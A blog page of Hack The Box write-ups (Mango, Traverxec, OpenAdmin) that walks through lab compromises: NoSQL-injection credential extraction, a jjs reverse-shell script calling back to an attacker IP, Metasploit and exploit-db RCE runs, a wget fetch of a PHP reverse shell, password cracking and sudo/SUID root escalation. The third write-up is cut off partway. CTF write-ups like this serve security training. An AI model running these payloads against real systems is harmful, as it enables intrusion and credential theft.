CTF – HTB – Mango

Hey everyone and welcome to another write up for a HTB challenge!

We start with the usual nmap scan and reveal port 22, 80 and 443. We then add staging-order.mango.htb to /etc/hosts.

root@kali:~/Desktop/htb/Mango# nmap -sC -sV mango.htb -o TCP_scan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-03 16:45 EDT
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.050s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.60 seconds

On port 80 we have a website called mango that is a copy-cat of a google webpage. The analytics.php link reveals a client-service called flexmonster that is used to display charts and graphics. We explore it a bit but since it is only a client-side service so we don’t need to investigate further. We have the same pages on port 443.

Since we know we already have one subdomain we try to list other existing subdomains with wfuzz by changing the header Host value to any subdomain (fuzzing host virtual routing). We do not find any other subdomain.

root@kali:~/Desktop/htb/Mango# wfuzz -H "Host: FUZZ.mango.htb" -u "https://10.10.10.162" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 
--hw 514
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.162/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                      
===================================================================

000000690:   400        12 L     53 W     443 Ch      "gc._msdcs"                                                                                  

Total time: 58.40617
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 85.55602

The subdomain staging-order.mango.htb gives us a login page. Bruteforcing directory and php files listing we find /home.php as well as a folder called /vendor. By accessing /vendor/composer/installed.json we can view the installed packages on the backend.

[
    {
        "name": "alcaeus/mongo-php-adapter",
        "version": "1.1.9",
        "version_normalized": "1.1.9.0",
        "source": {
            "type": "git",
            "url": "https://github.com/alcaeus/mongo-php-adapter.git",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/alcaeus/mongo-php-adapter/zipball/93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "shasum": ""
        },
        "require": {
            "ext-ctype": "*",
            "ext-hash": "*",
            "ext-mongodb": "^1.2.0",
            "mongodb/mongodb": "^1.0.1",
            "php": "^5.6 || ^7.0"
        },
        "provide": {
            "ext-mongo": "1.6.14"
        },
        "require-dev": {
            "phpunit/phpunit": "^5.7.27 || ^6.0 || ^7.0",
            "squizlabs/php_codesniffer": "^3.2"
        },
        "time": "2019-08-07T05:52:28+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-0": {
                "Mongo": "lib/Mongo"
            },
            "psr-4": {
                "Alcaeus\\MongoDbAdapter\\": "lib/Alcaeus/MongoDbAdapter"
            },
            "files": [
                "lib/Mongo/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "alcaeus",
                "email": "alcaeus@alcaeus.org"
            },
            {
                "name": "Olivier Lechevalier",
                "email": "olivier.lechevalier@gmail.com"
            }
        ],
        "description": "Adapter to provide ext-mongo interface on top of mongo-php-libary",
        "keywords": [
            "database",
            "mongodb"
        ]
    },
    {
        "name": "mongodb/mongodb",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0",
        "source": {
            "type": "git",
            "url": "https://github.com/mongodb/mongo-php-library.git",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/mongodb/mongo-php-library/zipball/5cffeb33b893b6bb04195b99ddc3955a29252339",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339",
            "shasum": ""
        },
        "require": {
            "ext-hash": "*",
            "ext-json": "*",
            "ext-mongodb": "^1.3.0",
            "php": ">=5.5"
        },
        "require-dev": {
            "phpunit/phpunit": "^4.8"
        },
        "time": "2017-10-27T19:42:57+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "MongoDB\\": "src/"
            },
            "files": [
                "src/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "Apache-2.0"
        ],
        "authors": [
            {
                "name": "Jeremy Mikola",
                "email": "jmikola@gmail.com"
            },
            {
                "name": "Hannes Magnusson",
                "email": "bjori@mongodb.com"
            },
            {
                "name": "Derick Rethans",
                "email": "github@derickrethans.nl"
            }
        ],
        "description": "MongoDB driver library",
        "homepage": "https://jira.mongodb.org/browse/PHPLIB",
        "keywords": [
            "database",
            "driver",
            "mongodb",
            "persistence"
        ]
    }
]

Now that we know we have MongoDB running in the background, we can try a noSQL injection, since it is our only possible attack vector left. Using burp repeater we find that we can extract DB information by pointing our POST request to /home.php.

We then proceed to enumerate users and passwords with a blind noSQL injections, luckily there is a script already available online to run these with our selected parameters.

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "username"                                                                                                   
No pattern starts with '0'                                                                                                                                    
No pattern starts with '1'
No pattern starts with '2'
No pattern starts with '3'
No pattern starts with '4'
No pattern starts with '5'
No pattern starts with '6'
No pattern starts with '7'
No pattern starts with '8'
No pattern starts with '9'
Pattern found that starts with 'a'
Pattern found: ad         
Pattern found: adm        
Pattern found: admi       
Pattern found: admin      
username found: admin            
No pattern starts with 'b'
No pattern starts with 'c'

[...snip...]

No pattern starts with 'j'                                                                                                                                    
No pattern starts with 'k'                                                                                                                                    
No pattern starts with 'l'                                                                                                                                    
Pattern found that starts with 'm'                                                                                                                            
Pattern found: ma         
Pattern found: man        
Pattern found: mang       
Pattern found: mango      
username found: mango     
No pattern starts with 'n'
No pattern starts with 'o'
No pattern starts with 'p'
No pattern starts with 'q'
No pattern starts with 'r'     

[...snip...]

o pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '
'
'o pattern starts with '
No pattern starts with '
                        '
No pattern starts with '
                        '

2 username(s) found:
admin
mango

We do the same for the password parameter :

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "password"                    
No pattern starts with '0'
No pattern starts with '1' 

[...snip...]

o pattern starts with 'e'
No pattern starts with 'f'
No pattern starts with 'g'
Pattern found that starts with 'h'
Pattern found: h3                      
Pattern found: h3m                                                                                                                                            
Pattern found: h3mX
Pattern found: h3mXK
Pattern found: h3mXK8
Pattern found: h3mXK8R
Pattern found: h3mXK8Rh
Pattern found: h3mXK8RhU
Pattern found: h3mXK8RhU~
Pattern found: h3mXK8RhU~f
Pattern found: h3mXK8RhU~f{
Pattern found: h3mXK8RhU~f{]
Pattern found: h3mXK8RhU~f{]f
Pattern found: h3mXK8RhU~f{]f5
Pattern found: h3mXK8RhU~f{]f5H
password found: h3mXK8RhU~f{]f5H
No pattern starts with 'i'
No pattern starts with 'j'
No pattern starts with 'k'

[...snip...]

o pattern starts with 'r'
No pattern starts with 's'
Pattern found that starts with 't'
Pattern found: t9
Pattern found: t9K
Pattern found: t9Kc
Pattern found: t9KcS
Pattern found: t9KcS3
Pattern found: t9KcS3>
Pattern found: t9KcS3>!
Pattern found: t9KcS3>!0
Pattern found: t9KcS3>!0B
Pattern found: t9KcS3>!0B#
Pattern found: t9KcS3>!0B#2
password found: t9KcS3>!0B#2
No pattern starts with 'u'
No pattern starts with 'v'

[...snip...]

No pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '  
'                         
'o pattern starts with '  
No pattern starts with '   
                        '   
No pattern starts with '  
                        ' 
                                       
2 password(s) found:      
h3mXK8RhU~f{]f5H          
t9KcS3>!0B#2

We now have 2 users and 2 passwords. We successfully connect with ssh in mango user using the first password.

root@kali:~/Desktop/htb/Mango# ssh mango@mango.htb
mango@mango.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr  9 06:17:58 UTC 2020

  System load:  0.03               Processes:            141
  Usage of /:   25.8% of 19.56GB   Users logged in:      0
  Memory usage: 14%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr  9 05:50:13 2020 from 10.10.16.146
mango@mango:~$

We quickly pivot to admin user with the sucommand and the second password.

mango@mango:~$ su admin
Password: 
$ bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/mango$ cd /home/admin
admin@mango:/home/admin$ cat user.txt 
79bf31c6c6eb38a8567832f7f8b47e92
admin@mango:/home/admin$

Now that we have the main user of this box we upload and run LinEnum.sh into the box so we can have a quick report on possible privilege escalation vectors, and we find an SUID binary!

[...snip...]

[+] Possibly interesting SUID files:                                                                                                                          
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs 

[...snip...]

According to Oracle Help Center :

The jjs command-line tool is used to invoke the Nashorn engine. You can use it to interpret one or several script files, or to run an interactive shell.

Also we find this binary in gtfobins :

It can be used to break out from restricted environments by spawning an interactive system shell.

Since we can spawn a shell and it has a sticky bit, we can abuse it to obtain a shell with root privileges.

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

We manage to spawn a shell, however it hangs, we can’t type anything in the console, it seems that the process is created but our connection is tied with jjs tty, we can’t run any command. Also we have $ instead of # in our command prompt, meaning we didn’t get a root shell.

Instead we create a reverse shell, luckily we have netcat on the victims box as well as gcc if needed (recompile nc with -e flag). Also, we can’t run sudo as admin. So there’s no way here to augment our privileges by piping our Java commands into sudo jjs.

echo 'var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs

We were able to obtain a shell but we are still admin user. The solution here is simply to use the -p flag with /bin/sh so we can start the shell with the privileged user we wanted, it only works if we have that sticky bit for user or group set. According to the manual of sh :

-p privileged
Turn on privileged mode. This mode is enabled on startup if either the effective user or group ID is not equal to the real user or group ID. Turning this mode off sets the effective user and group IDs to the real user and group IDs. When this mode is enabled for interactive shells, the file / etc / suid_profile is sourced instead of ~ / .profile after / etc / profile is sourced, and the contents of the ENV variable are ignored.

We modify the Java code accordingly and run on the victim’s machine :

var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/sh", "-pc", "/bin/sh -p").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

On our attacker machine :

root@kali:~/Desktop/htb/Mango# nc -lvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.162.
Ncat: Connection from 10.10.10.162:47122.
id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
cat /root/root.txt
8a8ef79a7a2fbb01ea81688424e9ab15
exit

As you can see, we are still admin user, however, our euid (Effective User ID) is that of root!

To summarize, we find a login page in a subdomain that is vulnerable to a noSQL injection. We use this to exfiltrate users and passwords from the DB. Luckily, the passwords where re-used in the machine so we could login as mango user using ssh with the first password and pivot to admin user with the second password. We then find an SUID binary (jjs) that we successfully exploit to obtain euid=0(root) in the victims machine.

Thanks for reading!

CTF – HTB – Traverxec

We start with an nmap scan :

root@kali:~/Desktop/htb/Traverxec# cat TCP_scan
# Nmap 7.80 scan initiated Tue Nov 26 19:03:55 2019 as: nmap -sC -sV -o TCP_scan -Pn 10.10.10.165
Nmap scan report for 10.10.10.165
Host is up (0.017s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Nov 26 19:04:12 2019 -- 1 IP address (1 host up) scanned in 17.20 seconds

The webserver is nostromo 1.9.6 which is vulnerable to an RCE :

root@kali:~/Desktop/htb/Traverxec# searchsploit nostromo
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit) | exploits/multiple/remote/47573.rb
nostromo 1.9.6 - Remote Code Execution | exploits/multiple/remote/47837.py
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution | exploits/linux/remote/35466.sh
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

We quickly use the metasploit module to get an initial shell :

msf5 exploit(multi/http/nostromo_code_exec) > set rhosts 10.10.10.165
rhosts => 10.10.10.165
msf5 exploit(multi/http/nostromo_code_exec) > set lhost tun0
lhost => 10.10.14.200
msf5 exploit(multi/http/nostromo_code_exec) > exploit

[*] Started reverse TCP handler on 10.10.14.200:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.14.200:4444 -> 10.10.10.165:37270) at 2020-01-27 22:05:30 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We find information about nostromo configuration :

cat /var/nostromo/conf/nhttpd.conf
# MAIN [MANDATORY]

servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html

# LOGS [OPTIONAL]

logpid logs/nhttpd.pid

# SETUID [RECOMMENDED]

user www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs /home
homedirs_public public_www

Simple enumeration reveals us the credentials for user david in /var/nostromo/conf/.htpasswd :

david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
root@kali:~/Desktop/htb/Traverxec# john david_credentials --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])

[...snip...]

root@kali:~/Desktop/htb/Traverxec# john --show david_credentials
david:Nowonly4me

1 password hash cracked, 0 left
root@kali:~/Desktop/htb/Traverxec#

The credentials don’t work in ssh or su david, we continue reading the nostromo man page and we find that we can access http://10.10.10.165/~david/ but we get on an html page with no other details, except written ‘user’s private space’.

By continuing reading the man page of nostromo, we find that not only /~david/ is accessible but also the homedir /public_www/. In our shell we do ls -la /home/david/public_www/ and we can access the files.

ls -la /home/david/public_www/

total 16
drwxr-xr-x 3 david david 4096 Jan 27 16:34 .
drwx--x--x 6 david david 4096 Jan 27 22:14 ..
-rw-r--r-- 1 david david 402 Oct 25 15:45 index.html
drwxr-xr-x 2 david david 4096 Oct 25 17:02 protected-file-area

We then use david’s credential and /protected-file-area, which is protected by a 401 HTTP Auth.

Directory listing

We gunzip backup-ssh-identity-files.tgz and untar then we get an ssh private key. For the private key password we use ssh2john.py to convert our private key to a hash that we can crack with john.

root@kali:~/Desktop/htb/Traverxec# john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter (id_rsa)
1g 0:00:00:38 13.85% (ETA: 13:35:53) 0.02628g/s 57335p/s 57335c/s 57335C/s 9178240514..91769176
1g 0:00:00:56 20.93% (ETA: 13:35:46) 0.01784g/s 57319p/s 57319c/s 57319C/s tigger102..tigger0968
1g 0:00:01:01 24.55% (ETA: 13:35:27) 0.01626g/s 60258p/s 60258c/s 60258C/s skylynn356..skylyenm8
Session aborted

We then login and grab user ssh -i id_rsa david@10.10.10.165. After a little enumeration we find some interesting files that we download to our machine :

root@kali:~/Desktop/htb/Traverxec# scp -i ./home/david/.ssh/id_rsa david@10.10.10.165:~/bin/* ./
Enter passphrase for key './home/david/.ssh/id_rsa':
server-stats.head 100% 802 42.2KB/s 00:00
server-stats.sh
david@traverxec:~/bin$ ./server-stats.sh
                                                     .----.
                                         .---------. | == |
Webserver Statistics and Data            |.-"""""-.| |----|
Collection Script                        ||       || | == |
(c) David, 2019                          ||       || |----|
                                         |'-.....-'| |::::|
                                         '"")---(""' |___.|
                                        /:::::::::::\" "
                                       /:::=======:::\
                                   jgs '"""""""""""""'

Load: 12:12:40 up 2:05, 6 users, load average: 0.00, 0.00, 0.00

Open nhttpd sockets: 6
Files in the docroot: 117

Last 5 journal log lines:
-- Logs begin at Tue 2020-01-28 10:07:06 EST, end at Tue 2020-01-28 12:12:40 EST. --
Jan 28 12:12:06 traverxec su[8903]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=david
Jan 28 12:12:08 traverxec su[8903]: FAILED SU (to david) www-data on none
Jan 28 12:12:19 traverxec su[8914]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=david
Jan 28 12:12:21 traverxec su[8914]: FAILED SU (to david) www-data on none
Jan 28 12:12:38 traverxec su[8920]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=david

server-stats.sh

#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

Since the file is under the ownership of user david and is executing /usr/bin/sudo with root privileges then we now that this command can give us a root shell. However we can’t change any of the arguments.

Some information on gtfobins explains that journalctl can be used to break out of the shell, and also that it invokes the default pager less.

This invokes the default pager, which is likely to be less, other functions may apply.

By executing the command the pager simply prints out the content without letting us invoking a shell. We proceed to force less to give us a prompt by resizing the terminal size so that we have to scroll the output, giving us a change to invoke a shell as root with !/bin/sh.

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2020-01-28 10:07:06 EST, end at Tue 2020-01-28 12:20:38 EST. --
Jan 28 12:17:46 traverxec sudo[9376]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Jan 28 12:17:46 traverxec sudo[9376]: www-data : command not allowed ; TTY=unknown ; PWD=/home/david ; USER=root ; COMMAND=list
Jan 28 12:19:30 traverxec sudo[9423]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=www-data
Jan 28 12:19:48 traverxec passwd[9435]: pam_unix(passwd:chauthtok): authentication failure; logname= uid=33 euid=0 tty= ruser= rhost= user=www-data
Jan 28 12:20:06 traverxec sudo[9442]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty= ruser=www-data rhost= user=www-data
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2020-01-28 10:07:06 EST, end at Tue 2020-01-28 12:20:41 EST
Jan 28 12:17:46 traverxec sudo[9376]: pam_unix(sudo:auth): auth could not identi
Jan 28 12:17:46 traverxec sudo[9376]: www-data : command not allowed ; TTY=unkno
Jan 28 12:19:30 traverxec sudo[9423]: pam_unix(sudo:auth): authentication failur
Jan 28 12:19:48 traverxec passwd[9435]: pam_unix(passwd:chauthtok): authenticati
Jan 28 12:20:06 traverxec sudo[9442]: pam_unix(sudo:auth): authentication failur
!/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#

And we completed the challenge!

Thanks for reading!

CTF – HTB – OpenAdmin

Today we solve the OpenAdmin box on hackthebox.eu.

First we start with a basic nmap scan :

# Nmap 7.80 scan initiated Mon Jan 13 18:22:36 2020 as: nmap -sC -sV -o TCP_scan 10.10.10.171
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up (0.097s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 13 18:23:07 2020 -- 1 IP address (1 host up) scanned in 31.21 seconds

Port 80 gives us the default Apache page, we proceed to scan directories with dirbuster :

root@kali:~/Desktop/htb/OpenAdmin# cat DirBusterReport-10.10.10.171-80.txt                                                                                    
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Mon Jan 13 18:20:13 EST 2020
--------------------------------

http://10.10.10.171:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/music/
/music/img/
/music/img/icons/
/ona/
/music/img/concept/
/music/img/premium/
/music/js/
/music/img/playlist/
/music/img/blog/
/music/img/songs/
/artwork/
/artwork/images/
/artwork/js/
/sierra/
/sierra/img/
/sierra/img/home-slider/
/sierra/img/icon/
/sierra/img/team/
/sierra/img/team/people/
/sierra/img/testimonials/
/sierra/img/instagram/
/sierra/img/portfolio/
/sierra/js/

[...snip...]


/sierra/js/smoothscroll.js
/sierra/js/theme.js
/sierra/vendors/circle-bar/circle-progress.min.js
/sierra/js/circle-active.js
/sierra/vendors/circle-bar/plugins.js
/sierra/vendors/isotope/imagesloaded.pkgd.min.js
/sierra/js/gmaps.min.js
/sierra/vendors/isotope/isotope.pkgd.min.js
/sierra/js/jquery.form.js
/sierra/js/jquery.validate.min.js
/sierra/js/contact.js
/sierra/vendors/owl-carousel/owl.carousel.min.css
/sierra/vendors/magnify-popup/magnific-popup.css
/sierra/vendors/progress/circle-progress.js
/sierra/vendors/progress/circularprogress.css
/sierra/vendors/progress/circularprogress.jquery.min.js

Files found with a 301 responce:

/ona


--------------------------------

Of all the directories /ona looks the most interesting… It is running the OpenNetAdmin software version 18.1.1, which a quick search with searchploit reveals that is vulnerable with to RCE.

root@kali:~/Desktop/htb/OpenAdmin# searchsploit OpenNetAdmin
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                       |  Path
                                                                                                                     | (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                                                                        | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                         | exploits/php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                          | exploits/php/webapps/47691.sh
--------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

We copy the file and execute it :

root@kali:~/Desktop/htb/OpenAdmin# cp /usr/share/exploitdb/exploits/php/webapps/47691.sh ./                                                                   
root@kali:~/Desktop/htb/OpenAdmin# chmod +x 47691.sh 
root@kali:~/Desktop/htb/OpenAdmin# dos2unix 47691.sh 
dos2unix: converting file 47691.sh to Unix format...
root@kali:~/Desktop/htb/OpenAdmin# bash 47691.sh 10.10.10.171/ona/
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

dos2unix is a simple binary to convert the text file format to a UNIX format. Then, to have a better shell we upload a php reverse shell, we run a simple HTTP server with python then we use wget on the victim’s machine to get it :

wget -O rev.php http://10.10.15.100:9999/rev.php

We open a listener on our end and use curl to execute the php reverse shell :

root@kali:~/Desktop/htb/OpenAdmin# nc -lvp 9898                                                                                                               
listening on [any] 9898 ...                                                                                                                                   
connect to [10.10.15.100] from openadmin.htb [10.10.10.171] 58886                                                                                             
Linux openadmin 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux                                                  
 00:16:10 up 15 min,  5 users,  load average: 5.25, 4.17, 2.16                                                                                                
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT                                                                                           
joanna   pts/1    10.10.15.100     00:02    5:57   0.06s  0.00s sshd: joanna [priv]                                                                           
jimmy    pts/3    10.10.14.99      00:03    8:49   0.03s  0.03s -bash                                                                                         
joanna   pts/5    10.10.16.47      00:08   57.00s  0.07s  0.07s -bash                                                                                         
jimmy    pts/6    10.10.15.100     00:08    4:50   0.04s  0.04s -bash                                                                                         
jimmy    pts/7    10.10.15.44      00:09   34.00s  0.05s  0.05s -bash                                                                                         
uid=33(www-data) gid=33(www-data) groups=33(www-data)                                                                                                         
/bin/sh: 0: can't access tty; job control turned off                                                                                                          
$                                                                                                                                                             
                                                                                                                                                              
$ $ python3 -c "import pty;pty.spawn('/bin/bash');"                                                                                                           
www-data@openadmin:/$

We then explore the /ona directory and find mysql credentials, which we use to login with user jimmy by ssh :

www-data@openadmin:/var/www/ona/local/config$ ls -la                                                                                                          
ls -la                                                                                                                                                        
total 16                                                                                                                                                      
drwxrwxr-x 2 www-data www-data 4096 Nov 21 16:51 .                                                                                                            
drwxrwxr-x 5 www-data www-data 4096 Jan  3  2018 ..                                                                                                           
-rw-r--r-- 1 www-data www-data  426 Nov 21 16:51 database_settings.inc.php                                                                                    
-rw-rw-r-- 1 www-data www-data 1201 Jan  3  2018 motd.txt.example                                                                                             
-rw-r--r-- 1 www-data www-data    0 Nov 21 16:28 run_installer                                                                                                
www-data@openadmin:/var/www/ona/local/config$
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?>
